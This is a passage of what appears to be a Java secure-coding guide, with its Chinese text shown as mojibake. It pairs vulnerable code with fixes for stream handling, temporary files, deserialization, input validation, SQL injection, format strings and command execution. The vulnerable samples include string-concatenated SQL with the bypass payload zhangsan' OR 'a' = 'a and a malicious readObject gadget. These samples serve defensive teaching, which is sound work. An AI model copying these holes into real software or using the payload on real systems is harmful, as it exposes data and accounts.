ä¸ï¼Œä½¿ç”¨int类型的å˜é‡æ¥ä¿å˜`read()`的返回值,并使用该返回值判æ–是å¦è¯»å–到æµçš„末尾,æµæœªè¯»å®Œæ—¶ï¼Œå°†è¯»å–的内容转æ¢ä¸ºchar或者byteç±»åž‹ï¼Œè¿™æ ·å°±é¿å…了判æ–æµæœ«å°¾ä¸å‡†ç¡®ã€‚ ## 防æ¢å¤–部进程阻塞在输入输出æµä¸Š **ã€æ述】** Javaä¸æœ‰ä¸¤ç§æ–¹å¼å¯åŠ¨ä¸€ä¸ªå¤–部进程并与其交互: 1. java.lang.Runtimeçš„exec()方法 2. java.lang.ProcessBuilderçš„start()方法 他们都返回一个java.lang.Process对象,该对象å°è£…了这个外部进程。 æ¯ä¸ªProcess对象,包å«è¾“å…¥æµã€è¾“出æµåŠé”™è¯¯æµå„一个,应该æ°å½“地处ç†è¿™äº›æµï¼Œé¿å…外部进程阻塞在这些æµä¸Šã€‚ ä¸æ£ç¡®çš„处ç†ä¼šäº§ç”Ÿå¼‚常ã€DoS,åŠå…¶ä»–安全问题。 1ã€å¤„ç†å¤–部进程的输入æµï¼ˆ`Process.getOutputStream()`,**从调用者角度æ¥è¯´ï¼Œå¤–部进程的输入æµæ˜¯OutputStream**): 对于需è¦è¾“å…¥æµçš„外部进程,如果ä¸ä¸ºå…¶æ供一个有效输入,则其会从一个空的输入æµä¸è¯»å–输入,导致其一直阻塞。 2ã€å¤„ç†å¤–部进程的输出æµï¼ˆ`Process.getInputStream()`)和错误æµï¼ˆ`Process.getErrorStream()`): 对于有输出æµå’Œé”™è¯¯æµçš„外部进程,如果调用者ä¸å¤„ç†å¹¶ä¸”清空对应æµï¼Œåˆ™è¯¥å¤–部进程的输出å¯èƒ½ä¼šè€—尽该进程输出æµä¸Žé”™è¯¯æµçš„缓冲区,导致外部进程被调用者阻塞,并影å“调用者与外部进程的æ£å¸¸äº¤äº’。 如果使用`java.lang.ProcessBuilder`æ¥è°ƒç”¨å¤–部进程,那么外部进程错误æµå¯ä»¥é€šè¿‡`redirectErrorStream()`方法é‡å®šå‘到其输出æµï¼Œè°ƒç”¨è€…å¯ä»¥é€šè¿‡å¤„ç†å¹¶æ¸…空输出æµæ¥åŒæ—¶å¤„ç†é”™è¯¯æµã€‚ **ã€å例】**(错误处ç†å¤–部进程的返回结果) ```java public void execExtProcess() throws IOException { Process proc = Runtime.getRuntime().exec("ProcessMaybeStillRunning"); int exitVal = proc.exitValue(); } ``` 上述示例ä¸ï¼Œç¨‹åºæœªç‰åˆ°ProcessMaybeStillRunning进程结æŸå°±è°ƒç”¨`exitValue()`方法,很å¯èƒ½ä¼šå¯¼è‡´`IllegalThreadStateException`异常。 **ã€å例】**(未处ç†å¤–部进程的输出æµã€é”™è¯¯æµï¼‰ ```java public void execExtProcess() throws IOException, InterruptedException { Process proc = Runtime.getRuntime().exec("ProcessMaybeStillRunning"); int exitVal = proc.waitFor(); } ``` æ¤ç¤ºä¾‹å¯¹æ¯”上一个示例,ä¸ä¼šäº§ç”Ÿ`IllegalThreadStateException`异常。但是由于没有处ç†ProcessMaybeStillRunning的输出æµå’Œé”™è¯¯æµï¼Œå¯èƒ½ä¼šå¯¼è‡´æè¿°ä¸åˆ—出的问题。 **ã€æ£ä¾‹ã€‘** ```java public class ProcessExecutor { public void callExtProcess() throws IOException, InterruptedException { Process proc = Runtime.getRuntime().exec("ProcessHasOutput"); StreamConsumer errConsumer = new StreamConsumer(proc.getErrorStream()); StreamConsumer outputConsumer = new StreamConsumer(proc.getInputStream()); errConsumer.start(); outputConsumer.start(); int exitVal = proc.waitFor(); errConsumer.join(); outputConsumer.join(); } class StreamConsumer extends Thread { InputStream is; StreamConsumer(InputStream is) { this.is = is; } @Override public void run() { try { byte data; int result; while ((result = is.read()) != -1) { data = (byte) result; handleData(data); } } catch (IOException ex) { // 处ç†å¼‚常 } } private void handleData(byte data) { ... } } } ``` 上述示例产生两个线程æ¥åˆ†åˆ«è¯»å–进程的输出æµå’Œé”™è¯¯æµã€‚å› æ¤ï¼Œå¤–部进程将ä¸ä¼šæ— é™æœŸåœ°é˜»å¡žåœ¨è¿™äº›æµä¹‹ä¸Šã€‚ **ã€ä¾‹å¤–】** 对于外部进程ä¸æ¶‰åŠä½¿ç”¨è¾“å…¥æµã€è¾“出æµå’Œé”™è¯¯æµçš„场景,å¯ä»¥ä¸å¯¹æµè¿›è¡Œä¸“门处ç†ã€‚ ## 临时文件使用完毕必须åŠæ—¶åˆ 除 **ã€æ述】** 程åºä¸å¾ˆå¤šç”¨åˆ°ä¸´æ—¶æ–‡ä»¶çš„地方,比如用于进程间的数æ®å…±äº«ï¼Œç¼“å˜å†…å˜æ•°æ®ï¼ŒåŠ¨æ€æž„é€ çš„ç±»æ–‡ä»¶ï¼ŒåŠ¨æ€è¿žæŽ¥åº“文件ç‰ã€‚临时文件å¯èƒ½åˆ›å»ºäºŽæ“作系统的共享临时文件目录。这类目录ä¸çš„文件å¯èƒ½ä¼šè¢«å®šæœŸæ¸…ç†ï¼Œä¾‹å¦‚,æ¯å¤©æ™šä¸Šæˆ–者é‡å¯æ—¶ã€‚然而,如果文件未被安全地创建或者用完åŽè¿˜æ˜¯å¯è®¿é—®çš„,具备本地文件系统访问æƒé™çš„攻击者便å¯ä»¥åˆ©ç”¨å…±äº«ç›®å½•ä¸çš„文件进行æ¶æ„æ“ä½œã€‚åˆ é™¤å·²ç»ä¸å†éœ€è¦çš„临时文件有助于对文件å和其他资æºï¼ˆå¦‚二级å˜å‚¨ï¼‰è¿›è¡Œå›žæ”¶åˆ©ç”¨ã€‚æ¯ä¸€ä¸ªç¨‹åºåœ¨æ£å¸¸è¿è¡Œè¿‡ç¨‹ä¸éƒ½æœ‰è´£ä»»ç¡®ä¿å·²ä½¿ç”¨å®Œæ¯•çš„ä¸´æ—¶æ–‡ä»¶è¢«åˆ é™¤ã€‚ **ã€å例】** ```java public boolean uploadFile(InputStream in) throws IOException { File tempFile = File.createTempFile("tempname", ".tmp"); try (FileOutputStream fop = new FileOutputStream(tempFile)) { int readSize; do { readSize = in.read(buffer, 0, MAX_BUFF_SIZE); if (readSize > 0) { fop.write(buffer, 0, readSize); } } while (readSize >= 0); ... // 对tempFile进行其他æ“作 } } ``` 上述示例代ç 在è¿è¡Œç»“æŸæ—¶æœªå°†ä¸´æ—¶æ–‡ä»¶åˆ 除。 **ã€æ£ä¾‹ã€‘** ```java public boolean uploadFile(InputStream in) throws IOException { File tempFile = File.createTempFile("tempname", ".tmp"); try (FileOutputStream fop = new FileOutputStream(tempFile)) { int readSize; do { readSize = in.read(buffer, 0, MAX_BUFF_SIZE); if (readSize > 0) { fop.write(buffer, 0, readSize); } } while (readSize >= 0); ... // 对tempFile进行其他æ“作 } finally { if (!tempFile.delete()) { // 忽略 } } } ``` 以上例å,在临时文件使用完毕之åŽï¼Œfinallyè¯å¥é‡Œå¯¹å…¶è¿›è¡Œäº†å½»åº•åˆ 除。 # åºåˆ—化 #### ç¦æ¢ç›´æŽ¥å°†å¤–部数æ®è¿›è¡Œååºåˆ—化 **ã€æ述】** ååºåˆ—化æ“作是将一个二进制æµæˆ–å—符串ååºåˆ—化为一个Java对象。当ååºåˆ—化æ“作的数æ®æ˜¯å¤–部数æ®æ—¶ï¼Œæ¶æ„用户å¯åˆ©ç”¨ååºåˆ—化æ“ä½œæž„é€ æŒ‡å®šçš„å¯¹è±¡ã€æ‰§è¡Œæ¶æ„代ç ã€å‘应用程åºä¸æ³¨å…¥æœ‰å®³æ•°æ®ç‰ã€‚ä¸å®‰å…¨ååºåˆ—化æ“作å¯èƒ½å¯¼è‡´ä»»æ„代ç 执行ã€ç‰¹æƒæå‡ã€ä»»æ„文件访问ã€æ‹’ç»æœåŠ¡ç‰æ”»å‡»ã€‚ 实际应用ä¸ï¼Œé€šå¸¸é‡‡ç”¨ä¸‰æ–¹ä»¶å®žçŽ°å¯¹jsonã€xmlã€yamlæ ¼å¼çš„æ•°æ®åºåˆ—化和ååºåˆ—化æ“作。常用的三方件包括:fastjsonã€jacksonã€XMLDecoderã€XStreamã€SnakeYmalç‰ã€‚ **ã€å例】** ```java public class DeserializeExample implements Serializable { private static final long serialVersionUID = -5809782578272943999L; private String name; public String getName() { return name; } public void setName(String name) { this.name = name; } private void readObject(java.io.ObjectInputStream ois) { ois.defaultReadObject(); System.out.println("Hack!"); } } // 使用外部数æ®æ‰§è¡Œååºåˆ—化æ“作 ObjectInputStream ois2= new ObjectInputStream(fis); PersonInfo myPerson = (PersonInfo) ois2.readObject(); ``` 上é¢çš„示例ä¸ï¼Œå½“ååºåˆ—化æ“ä½œçš„å¯¹è±¡æ˜¯æ”»å‡»è€…æž„é€ çš„DeserializeExample对象的åºåˆ—化结果,当`PersonInfo myPerson = (PersonInfo) ois2.readObject()`该è¯å¥æ‰§è¡Œæ—¶ä¼šæŠ¥é”™ï¼Œä½†æ˜¯DeserializeExample对象ä¸çš„`readObject()`方法ä¸çš„攻击代ç å·²ç»è¢«æ‰§è¡Œã€‚ **ã€æ£ä¾‹ã€‘**(使用白åå•æ ¡éªŒï¼‰ ```java public final class SecureObjectInputStream extends ObjectInputStream { public SecureObjectInputStream() throws SecurityException, IOException { super(); } public SecureObjectInputStream(InputStream in) throws IOException { super(in); } protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException { if (!desc.getName().equals("com.xxxx.PersonInfo")) { // 白åå•æ ¡éªŒ throw new ClassNotFoundException(desc.getName() + " not find"); } return super.resolveClass(desc); } } ``` 上述示例是对ååºåˆ—化的类进行白åå•æ£€æŸ¥ã€‚å³åœ¨è‡ªå®šä¹‰ObjectInputStreamä¸é‡è½½`resolveClass()`方法,对className进行白åå•æ ¡éªŒã€‚如果ååºåˆ—化的类ä¸åœ¨ç™½åå•ä¹‹ä¸ï¼Œç›´æŽ¥æŠ›å‡ºå¼‚常。 **ã€æ£ä¾‹ã€‘**(使用安全管ç†å™¨é˜²æŠ¤ï¼‰ 如果产å“å·²ç»ä½¿ç”¨Java的安全管ç†å™¨ï¼Œå»ºè®®ä½¿ç”¨Java安全管ç†å™¨æœºåˆ¶è¿›è¡Œé˜²æŠ¤ã€‚ (1) 设置enableSubclassImplementation ``` permission java.io.SerializablePermission "enableSubclassImplementation"; ``` (2) 定义ObjectInputStream,é‡è½½resolveClass的方法 ```java public final class HWObjectInputStream extends ObjectInputStream { public HWObjectInputStream() throws SecurityException, IOException { super(); } public HWObjectInputStream(InputStream in) throws IOException { super(in); } protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException { SecurityManager sm = System.getSecurityManager(); if (sm != null) { sm.checkPermission(new SerializablePermission( "com.xxxx." + desc.getName())); } return super.resolveClass(desc); } } ``` (3) 在policy文件里设置白åå• ``` permission java.io.SerializablePermission "com.xxxx.PersonInfo"; ``` # 外部数æ®æ ¡éªŒ ## 外部数æ®ä½¿ç”¨å‰å¿…须进行åˆæ³•æ€§æ ¡éªŒ **æ述】** 外部数æ®çš„范围包括但ä¸é™äºŽï¼šç½‘络ã€ç”¨æˆ·è¾“入(包括命令行ã€ç•Œé¢ï¼‰ã€å‘½ä»¤è¡Œã€æ–‡ä»¶ï¼ˆåŒ…括程åºçš„é…置文件) ã€çŽ¯å¢ƒå˜é‡ã€è¿›ç¨‹é—´é€šä¿¡ï¼ˆåŒ…括管é“ã€æ¶ˆæ¯ã€å…±äº«å†…å˜ã€socketç‰ã€RPC)ã€è·¨ä¿¡ä»»åŸŸæ–¹æ³•å‚数(对于API)ç‰ã€‚ æ¥è‡ªç¨‹åºå¤–部的数æ®é€šå¸¸è¢«è®¤ä¸ºæ˜¯ä¸å¯ä¿¡çš„,在使用这些数æ®å‰éœ€è¦è¿›è¡Œåˆæ³•æ€§æ ¡éªŒï¼Œå¦åˆ™å¯èƒ½ä¼šå¯¼è‡´ä¸æ£ç¡®çš„计算结果ã€è¿è¡Œæ—¶å¼‚常ã€ä¸ä¸€è‡´çš„对象状æ€ï¼Œç”šè‡³å¼•èµ·å„ç§æ³¨å…¥æ”»å‡»ï¼Œå¯¹ç³»ç»Ÿé€ æˆä¸¥é‡å½±å“。 **对外部数æ®çš„æ ¡éªŒåŒ…æ‹¬ä½†ä¸å±€é™äºŽï¼š** - æ ¡éªŒAPI接å£å‚æ•°åˆæ³•æ€§ï¼› - æ ¡éªŒæ•°æ®é•¿åº¦ï¼› - æ ¡éªŒæ•°æ®èŒƒå›´ï¼› - æ ¡éªŒæ•°æ®ç±»åž‹å’Œæ ¼å¼ï¼› - æ ¡éªŒé›†åˆå¤§å°ï¼› - æ ¡éªŒå¤–éƒ¨æ•°æ®åªåŒ…å«å¯æŽ¥å—çš„å—符(白åå•æ ¡éªŒï¼‰ï¼Œå°¤å…¶éœ€è¦æ³¨æ„一些特殊情况下的特殊å—符。 对于外部数æ®çš„æ ¡éªŒï¼Œè¦æ³¨æ„以下两点: - 如果需è¦ï¼Œå¤–部数æ®æ ¡éªŒå‰è¦å…ˆè¿›è¡Œæ ‡å‡†åŒ–:例如“\uFE64â€ã€â€œ<â€éƒ½å¯ä»¥è¡¨ç¤ºâ€œ<â€ï¼Œåœ¨web应用ä¸ï¼Œå¦‚果外部输入ä¸åšæ ‡å‡†åŒ–,å¯ä»¥é€šè¿‡â€œ\uFE64â€ç»•è¿‡å¯¹â€œ<â€é™åˆ¶ã€‚ - 对外部数æ®çš„修改è¦åœ¨æ ¡éªŒå‰å®Œæˆï¼Œä¿è¯å®žé™…使用的数æ®ä¸Žæ ¡éªŒçš„æ•°æ®ä¸€è‡´ã€‚ 出于性能和代ç 简æ´æ€§è€ƒè™‘,对于RESTful API,provideråªæ ¡éªŒè¯·æ±‚ä¿¡æ¯ï¼Œconsumeråªæ ¡éªŒå“应结果;对于一个调用链上的方法,最外层的对外publicæ–¹æ³•å¿…é¡»æ ¡éªŒï¼Œå†…éƒ¨public方法å¯ä¸é‡å¤æ ¡éªŒã€‚ **常è§æ ¡éªŒæ¡†æž¶ï¼š** 接å£ï¼šJSR 380(Bean Validation 2.0)ã€JSR 303(Bean Validation 1.0)JavaBeanå‚æ•°æ ¡éªŒæ ‡å‡†ï¼Œæ ¸å¿ƒæŽ¥å£javax.validation.Validatorï¼Œå®šä¹‰äº†å¾ˆå¤šå¸¸ç”¨çš„æ ¡éªŒæ³¨è§£ã€‚ 实现:hibernate-validator ã€Spring: - hibernate-validator 是 JSR 380(Bean Validation 2.0)ã€JSR 303(Bean Validation 1.0)规范的实现,åŒæ—¶æ‰©å±•äº†æ³¨è§£ï¼š@Emailã€@Lengthã€@NotEmptyã€@Rangeç‰ã€‚ - Spring validator åŒæ ·å®žçŽ°äº†JSR 380å’ŒJSR 303,并æ供了MethodValidationPostProcessorç±»ï¼Œç”¨äºŽå¯¹æ–¹æ³•çš„æ ¡éªŒã€‚ 产å“å¯è‡ªä¸»é€‰æ‹©åˆé€‚çš„æ ¡éªŒæ¡†æž¶ï¼Œä¹Ÿå¯ä»¥è‡ªä¸»å¼€å‘实现外部数æ®æ ¡éªŒã€‚ **ã€å例】** ```java /** * æ›´æ¢å…¬å¸ä¿¡æ¯ * * @param companies 新旧公å¸ä¿¡æ¯ * @return æ›´æ¢å…¬å¸æ˜¯å¦æˆåŠŸ */ @RequestMapping(value = "/updating", method = RequestMethod.POST) public boolean updateCompany(@RequestBody Companies companies) { return employeeService.updateCompany(companies.getSrcCompany(), companies.getDestCompany()); } ``` 上é¢çš„错误代ç ,provider对外开放的`updateCompany()`接å£æœªå¯¹è¯·æ±‚体åšæ ¡éªŒï¼Œå˜åœ¨è¢«æ¶æ„攻击的风险。 **ã€æ£ä¾‹ã€‘** ```java /** * æ›´æ¢å…¬å¸ä¿¡æ¯ * * @param companies 新旧公å¸ä¿¡æ¯ * @return æ›´æ¢å…¬å¸æ˜¯å¦æˆåŠŸ */ @RequestMapping(value = "/updating", method = RequestMethod.POST) public boolean updateCompany(@RequestBody @Valid @NotNull Companies companies) { return employeeService.updateCompany( companies.getSrcCompany(), companies.getDestCompany()); } @Setter @Getter public class Companies { @Valid @NotNull private Company srcCompany; @Valid @NotNull private Company destCompany; } @Setter @Getter @Accessors(chain = true) public class Company { @NotBlank @Size(min = 10, max = 256) private String name; @NotBlank @Size(min = 10, max = 512) private String address; @Valid private SubCompany subCompany; } ``` 上述示例使用@Valid注解触å‘å‚æ•°æ ¡éªŒï¼Œæ ¡éªŒé€»è¾‘ä¸ºå¯¹è±¡å±žæ€§å£°æ˜Žæ—¶é€šè¿‡æ³¨è§£æŒ‡å®šçš„è§„åˆ™ã€‚å¯¹å¤–æŽ¥å£å†…部调用的public方法`employeeService.updateCompany()`由于åªæœ‰æœ¬æ¨¡å—使用,éžå¯¹å¤–接å£ï¼Œè€Œä¸”调用的地方已åšå‚æ•°æ ¡éªŒï¼Œå¯ä»¥ä¸åšå‚数判æ–。 **ã€å例】** 获å–环境å˜é‡å€¼åŽæœªæ ¡éªŒï¼Œç›´æŽ¥ä½¿ç”¨ã€‚ ```java public static String getFile(String filePath, String fileName) { // 获å–进程的classpath路径 String path = System.getProperty(RUNTIME_BASE_DIR); ... // 直接使用 } ``` **ã€æ£ä¾‹ã€‘** 使用ClassLoaderæ供的`getResource()`å’Œ`getResourceAsStream()`从装载的类路径ä¸å–得资æºã€‚ ```java public static String getSavePath(String filePath, String fileName) { return ClassLoader.getSystemResource(fileName).getPath(); } ``` 对环境å˜é‡çš„å€¼å…ˆè¿›è¡Œæ ‡å‡†åŒ–å¤„ç†ï¼Œå†æ‰§è¡Œæ ¡éªŒï¼Œæœ€åŽä½¿ç”¨ï¼š ```java public static String getFile(String filePath, String fileName) { // 获å–进程的classpath路径 String path = System.getProperty(RUNTIME_BASE_DIR); // æ ‡å‡†åŒ– // æ ¡éªŒï¼Œä¾‹å¦‚StringUtils.startsWith(path, "/opt/xxxx/release/"); // 使用 } ``` **ã€å例】** é…ç½®æ–‡ä»¶æœªæ ¡éªŒï¼Œç›´æŽ¥ä½¿ç”¨ã€‚ ```java @Configuration @PropertySource("classpath:xxx.properties") @Component public class XxxConfig { @Value("${appId}") private String appId; @Value("${secret}") private String citySecret; } ``` **ã€æ£ä¾‹ã€‘** Spring Boot框架å¯ä»¥ä½¿ç”¨æ³¨è§£@ConfigurationPropertieså’Œ@Validated完æˆå¯¹é…ç½®æ–‡ä»¶çš„æ ¡éªŒï¼Œå¦‚ä¸‹æ‰€ç¤ºï¼š ```java @ConfigurationProperties(locations = "classpath: xxx.properties", prefix = "xxx") @Validated public class XxxConfig { @Value("${appId}") @Pattern(regexp = "[0-9_A-Z]{32}") private String appId; @Value("${secret}") @Pattern(regexp = "[0-9A-Z]{64,138}", message = "Authentication credential error!") private String citySecret; // Setterå’ŒGetter方法 } ``` ServiceComb框架,å¯ä»¥é€šè¿‡Java自带的validation-api,从Bean上下文å–到é…置文件对象åŽï¼Œæ˜¾å¼è°ƒç”¨æ£€éªŒã€‚ ## ç¦æ¢ç›´æŽ¥ä½¿ç”¨å¤–部数æ®æ¥æ‹¼æŽ¥SQLè¯å¥ **ã€æ述】** SQL注入是指使用外部数æ®æž„é€ çš„SQLè¯å¥æ‰€ä»£è¡¨çš„æ•°æ®åº“æ“作与预期ä¸ç¬¦ï¼Œè¿™æ ·å¯èƒ½ä¼šå¯¼è‡´ä¿¡æ¯æ³„露或者数æ®è¢«ç¯¡æ”¹ã€‚SQLæ³¨å…¥äº§ç”Ÿçš„æ ¹æœ¬åŽŸå› æ˜¯ä½¿ç”¨å¤–éƒ¨æ•°æ®ç›´æŽ¥æ‹¼æŽ¥SQLè¯å¥ï¼Œé˜²æŠ¤æŽªæ–½ä¸»è¦æœ‰ä»¥ä¸‹ä¸‰ç±»ï¼š - 使用å‚数化查询:最有效的防护手段,但对SQLè¯å¥ä¸çš„表åã€å—段åç‰ä¸é€‚用; - 对外部数æ®è¿›è¡Œç™½åå•æ ¡éªŒï¼šé€‚用于拼接SQLè¯å¥ä¸çš„表åã€å—段åï¼› - 对外部数æ®ä¸çš„与SQL注入相关的特殊å—符进行转义:适用于必须通过å—ç¬¦ä¸²æ‹¼æŽ¥æž„é€ SQLè¯å¥çš„场景,转义仅对由引å·é™åˆ¶çš„å—段有效。 å‚数化查询是一ç§ç®€å•æœ‰æ•ˆçš„防æ¢SQL注入的查询方å¼ï¼Œåº”该被优先考虑使用。å¦å¤–,å‚数化查询还能æ高数æ®åº“访问的性能,例如,SQL Server与Oracleæ•°æ®åº“会为其缓å˜ä¸€ä¸ªæŸ¥è¯¢è®¡åˆ’,以便在åŽç»é‡å¤æ‰§è¡Œç›¸åŒçš„查询è¯å¥æ—¶æ— 需编译而直接使用。对于常用的ORM框架(如Hibernateã€iBATISç‰ï¼‰ï¼ŒåŒæ ·æ”¯æŒå‚数化查询。 **ã€å例】**(Java代ç 动æ€æž„建SQL) ```java Statement stmt = null; ResultSet rs = null; try { String userName = request.getParameter("name"); String password = request.getParameter("password"); ... String sqlStr = "SELECT * FROM t_user_info WHERE name = '" + userName + "' AND password = '" + password + "'"; stmt = connection.createStatement(); rs = stmt.executeQuery(sqlString); ... // ç»“æžœé›†å¤„ç† } catch (SQLException ex) { // 处ç†å¼‚常 } ``` 上述示例ä¸ä½¿ç”¨ç”¨æˆ·æ交的用户å和密ç æž„é€ SQLè¯å¥ï¼ŒéªŒè¯ç”¨æˆ·å和密ç ä¿¡æ¯æ˜¯å¦åŒ¹é…,通过å—符串拼接的方å¼æž„é€ SQLè¯å¥ï¼Œå˜åœ¨SQL注入。æ¶æ„用户在仅知é“用户å时,通过`zhangsan' OR 'a' = 'a`å’Œ**ä»»æ„密ç **çš„æ–¹å¼å°±èƒ½å®Œæˆä¸Šè¿°ä»£ç ä¸çš„查询。 **ã€æ£ä¾‹ã€‘**(使用PreparedStatement进行å‚数化查询) ```java PreparedStatement stmt = null; ResultSet rs = null; try { String userName = request.getParameter("name"); String password = request.getParameter("password"); ... // ç¡®ä¿userNameå’Œpassword的长度是åˆæ³•çš„ String sqlStr = "SELECT * FROM t_user_info WHERE name=? AND password =?"; stmt = connection.prepareStatement(sqlStr); stmt.setString(1, userName); stmt.setString(2, password); rs = stmt.executeQuery(); ... // ç»“æžœé›†å¤„ç† } catch (SQLException ex) { // 处ç†å¼‚常 } ``` å‚数化查询在SQLè¯å¥ä¸ä½¿ç”¨å ä½ç¬¦è¡¨ç¤ºéœ€åœ¨è¿è¡Œæ—¶ç¡®å®šçš„å‚数值,使得SQL查询的è¯ä¹‰é€»è¾‘预先被定义,实际的查询å‚数值则在程åºè¿è¡Œæ—¶å†ç¡®å®šã€‚å‚数化查询使得数æ®åº“能够区分SQLè¯å¥ä¸è¯ä¹‰é€»è¾‘和数æ®å‚数,以确ä¿ç”¨æˆ·è¾“å…¥æ— æ³•æ”¹å˜é¢„期的SQL查询è¯ä¹‰é€»è¾‘。如果攻击者输入userName为`zhangsan' OR 'a' = 'a`,该å—符串仅会作为nameå—段的值æ¥ä½¿ç”¨ã€‚ **ã€æ£ä¾‹ã€‘**(对输入输入åšè½¬ä¹‰ï¼‰ ```java public List<Book> queryBooks(List<Expression> queryCondition) { ... try { StringBuilder sb = new StringBuilder("select * from t_book where "); Codec oe = new OracleCodec(); if (queryCondition != null && !queryCondition.isEmpty()) { for (Expression e : queryCondition) { String exprString = e.getColumn() + e.getOperator(); String safeValue = XXXEncoder.encodeForSQL(oe, e.getValue()); sb.append(exprString).append("'").append(safeValue).append("' and "); } sb.append("1=1"); Statement stat = connection.createStatement(); ResultSet rs = stat.executeQuery(sb.toString()); ... // 其他代ç } } ... } ``` 虽然å‚数化查询是防æ¢SQL注入最便æ·æœ‰æ•ˆçš„一ç§æ–¹å¼ï¼Œä½†ä¸æ˜¯SQLè¯å¥ä¸ä»»ä½•éƒ¨åˆ†åœ¨æ‰§è¡Œå‰éƒ½èƒ½å¤Ÿè¢«å ä½ç¬¦æ‰€æ›¿ä»£ï¼Œå› æ¤ï¼Œå‚æ•°åŒ–æŸ¥è¯¢æ— æ³•åº”ç”¨äºŽæ‰€æœ‰åœºæ™¯ã€‚å½“ä½¿ç”¨æ‰§è¡Œå‰ä¸å¯è¢«å ä½ç¬¦æ›¿ä»£çš„外部数æ®æ¥åŠ¨æ€æž„建SQLè¯å¥æ—¶ï¼Œå¿…须对外部数æ®è¿›è¡Œæ ¡éªŒã€‚æ¯ç§DBMS都有其特定的转义机制,通过这ç§æœºåˆ¶æ¥å‘Šè¯‰æ•°æ®åº“æ¤è¾“入应该被当作数æ®ï¼Œè€Œä¸åº”该是代ç é€»è¾‘ã€‚å› æ¤ï¼Œåªè¦è¾“入数æ®è¢«é€‚当转义,就ä¸ä¼šå‘生SQL注入问题。 **注:**å¦‚æžœä¼ å…¥çš„æ˜¯å—段å或者表å,建议使用白åå•çš„æ–¹å¼è¿›è¡Œæ ¡éªŒã€‚ 在å˜å‚¨è¿‡ç¨‹ä¸ï¼Œé€šè¿‡æ‹¼æŽ¥å‚数值æ¥æž„建查询å—符串,和在应用程åºä»£ç ä¸æ‹¼æŽ¥å‚æ•°ä¸€æ ·ï¼ŒåŒæ ·æ˜¯æœ‰SQL注入风险的。 **ã€å例】**(在å˜å‚¨è¿‡ç¨‹ä¸åŠ¨æ€æž„建SQL) SQL Serverå˜å‚¨è¿‡ç¨‹ï¼š ```sql CREATE PROCEDURE sp_queryItem @userName varchar(50), @password varchar(50) AS BEGIN DECLARE @sql nvarchar(500); SET @sql = 'SELECT * FROM t_user_info WHERE name= ''' + @userName + ''' AND password= ''' + @password + ''''; EXEC(@sql); END GO ``` 在å˜å‚¨è¿‡ç¨‹ä¸ï¼Œé€šè¿‡æ‹¼æŽ¥å‚数值æ¥æž„建查询å—符串,和在应用程åºä»£ç ä¸æ‹¼æŽ¥å‚æ•°ä¸€æ ·ï¼ŒåŒæ ·æ˜¯æœ‰SQL注入风险的。 **ã€æ£ä¾‹ã€‘**(在å˜å‚¨è¿‡ç¨‹ä¸è¿›è¡Œå‚数化查询) SQL Serverå˜å‚¨è¿‡ç¨‹ï¼š ```sql CREATE PROCEDURE sp_queryItem @userName varchar(50), @password varchar(50) AS BEGIN SELECT * FROM t_user_info WHERE name = @userName AND password = @password; END GO ``` å˜å‚¨è¿‡ç¨‹ä½¿ç”¨å‚数化查询,而ä¸åŒ…å«ä¸å®‰å…¨çš„动æ€SQL构建。数æ®åº“编译æ¤å˜å‚¨è¿‡ç¨‹æ—¶ï¼Œä¼šç”Ÿæˆä¸€ä¸ªSELECT查询的执行计划,åªå…许原始的SQLè¯ä¹‰è¢«æ‰§è¡Œï¼Œä»»ä½•å‚数值,å³ä½¿æ˜¯è¢«æ³¨å…¥çš„SQLè¯å¥ä¹Ÿä¸ä¼šè¢«æ‰§è¡Œã€‚ ## ç¦æ¢ä½¿ç”¨å¤–部数æ®æž„é€ æ ¼å¼åŒ–å—符串 **æ述】** Javaä¸çš„Formatå¯ä»¥å°†å¯¹è±¡æŒ‰æŒ‡å®šçš„æ ¼å¼è½¬ä¸ºæŸç§æ ¼å¼çš„å—ç¬¦ä¸²ï¼Œæ ¼å¼åŒ–å—符串å¯ä»¥æŽ§åˆ¶æœ€ç»ˆå—符串的长度ã€å†…容ã€æ ·å¼ï¼Œå½“æ ¼å¼åŒ–å—符串ä¸æŒ‡å®šçš„æ ¼å¼ä¸Žæ ¼å¼å¯¹è±¡ä¸åŒ¹é…时还å¯èƒ½ä¼šæŠ›å‡ºå¼‚常。当攻击者å¯ä»¥ç›´æŽ¥æŽ§åˆ¶æ ¼å¼åŒ–å—符串时,å¯å¯¼è‡´ä¿¡æ¯æ³„露ã€æ‹’ç»æœåŠ¡ã€ç³»ç»ŸåŠŸèƒ½å¼‚常ç‰é£Žé™©ã€‚ **ã€å例】** ```java public String formatInfo(String formatStr) { String value = getData(); return String.format(formatStr, value)); } String formatStr = req.getParameter("format"); String formattedValue = formatInfo(formatStr); ``` 上é¢çš„示例代ç ä¸ï¼Œç›´æŽ¥ä½¿ç”¨å¤–éƒ¨æŒ‡å®šçš„æ ¼å¼å¯¹å—ç¬¦ä¸²è¿›è¡Œæ ¼å¼åŒ–ï¼Œå½“å¤–éƒ¨æŒ‡å®šçš„æ ¼å¼ä¸ºéžå—符类型如%dï¼Œä¼šå¯¼è‡´æ ¼å¼åŒ–æ“作出现异常。 **ã€æ£ä¾‹ã€‘** ```java public String formatInfo() { String value = getData(); return String.format("my format: %s", value)); } ``` ä¸Šè¿°ç¤ºä¾‹å°†ç”¨æˆ·è¾“å…¥æŽ’é™¤åœ¨æ ¼å¼åŒ–å—符串之外。 ## ç¦æ¢å‘Runtime.exec()方法或java.lang.ProcessBuilderç±»ä¼ é€’å¤–éƒ¨æ•°æ® **ã€æ述】** `Runtime.exec()`方法或`java.lang.ProcessBuilder`类被用æ¥å¯åŠ¨ä¸€ä¸ªæ–°çš„进程,在新进程ä¸æ‰§è¡Œå‘½ä»¤ã€‚命令执行通常会有两ç§æ–¹å¼ï¼š - 直接执行具体命令: 例如`Runtime.getRuntime().exec("ping 127.0.0.1")`; 直接使用外部数æ®æž„é€ å‘½ä»¤è¡Œï¼Œä¼šå˜åœ¨ä»¥ä¸‹é£Žé™©ï¼š - 执行命令时,需è¦å‘½ä»¤è¡Œè§£é‡Šå™¨å¯¹å‘½ä»¤å—符串进行拆分,该方å¼å¯æ‰§è¡Œå¤šæ¡å‘½ä»¤ï¼Œå˜åœ¨å‘½ä»¤æ³¨å…¥é£Žé™©ï¼› - 直接执行具体的命令时,å¯ä»¥é€šè¿‡ç©ºæ ¼ã€åŒå¼•å·æˆ–以-/开头的å—符串å‘命令行ä¸æ³¨å…¥å‚数,å˜åœ¨å‚数注入风险。 